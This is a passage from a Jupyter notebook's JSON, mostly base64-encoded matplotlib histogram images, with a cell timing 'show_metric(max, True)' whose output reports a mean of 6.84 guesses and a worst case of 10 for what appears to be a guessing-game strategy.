"image/png": "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\n",
"text/plain": [
"<Figure size 432x288 with 1 Axes>"
]
},
"metadata": {
"needs_background": "light"
},
"output_type": "display_data"
}
],
"source": [
"%time show_metric(max, True)"
]
},
{
"cell_type": "code",
"execution_count": 36,
"metadata": {},
"outputs": [
{
"name": "stdout",
"output_type": "stream",
"text": [
"mean = 6.84 ± 0.95 guesses; worst = 10\n",
"CPU times: user 39.9 s, sys: 183 ms, total: 40.1 s\n",
"Wall time: 40.5 s\n"
]
},
{
"data": {
"image/png": "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